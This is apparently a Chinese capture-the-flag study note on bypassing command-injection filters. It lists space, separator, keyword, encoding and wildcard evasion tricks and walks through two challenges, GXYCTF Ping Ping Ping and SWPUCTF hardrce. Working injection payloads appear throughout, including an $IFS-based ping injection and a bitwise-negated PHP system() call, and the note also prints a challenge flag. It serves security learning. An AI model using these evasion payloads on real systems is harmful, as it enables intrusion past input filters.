week7-web-绕过
我们在做题过程中,会有各种各样的过滤限制,我们就可以绕过,具体怎么绕
绕过空格
- /**/代替空格
- Tab代替空格
- %a0代替空格
常见的绕过空格的方法有$IFS$9
,$IFS
,$IFS$1
,${IFS}
,%09
,$IFS是linux下的分隔符,加上{}或者后面加$表示截断,防止与后面的变量名粘连导致命令无法执行
绕过分隔符
通常有两种表示方法||
后者;
都试一下
绕过关键字
- 中间加符号
1 | ls -> l\s |
- 拆分命令绕过
1 | ls -> a=l;b=s;$a$b |
- 编码绕过
base64
1
2
3echo 'cat' | base64 --> Y2F0Cg==
那我们就可以构造cat /flag为:
`echo 'Y2F0Cg==' | base64 -d` /flaghex
- 通配符绕过
1 | ?匹配单个字符,若要匹配多个字符,就用多个?连用 |
- 连接符绕过
利用单引号''
双引号""
反斜杠\
- 大小写绕过
直接利用大小写混用,随机搭配,尝试绕过
- 引号绕过
waf拦截时,直接进行替换,单双引号相互替换或者hex十六进制绕过
php限制绕过
php的限制一般是用于防止后缀和嵌套php文件
后缀的话一般就用通配符就可以绕过了
like绕过
1 | 使用 like 模糊查询 select user() like ‘%r%’; 模糊查询成功返回 1 否则返回 0 ; |
例题
[GXYCTF 2019]Ping Ping Ping
打开后是这样的
依据提示输入
再次输入
得到
继续cat一下
回显显示过滤了空格
发现并不是单纯过滤了空格,可能还有flag
那我们就尝试一下index.php
下面是回显的内容
总结一下,空格过滤,大括号过滤,flag四个字母不能同时出现(替换绕过)
尝试构造 /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
因为在前面查看源码时看到了a变量,尝试覆盖a变量
查看源码
出现flag
[SWPUCTF 2021 新生赛]hardrce
打开环境后
看到过滤了一些符号
使用get方式请求给wllm传参
使用preg_match函数正则匹配过滤掉了一些符号
'\t','\r','\n','\+','','\"','\-','\$','\*','\?','\<','\>','\=','\
‘`
以及 [a-zA-Z] 即所有的大小写字母
先构造system('ls /')
从上面知道了这道题没有过滤(),所以我们仅对括号内外分别取反再编码
得到:
%8C%86%8C%8B%9A%92
%93%8C%DF%D0
输入?wllm=~(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
回显
这样我们就cat /flllllaaaaaaggggggg
%8C%86%8C%8B%9A%92
%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98)
输入?wllm=~(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
回显得到flag
NSSCTF{a912912e-6079-4e98-8817-8264ffdc612a}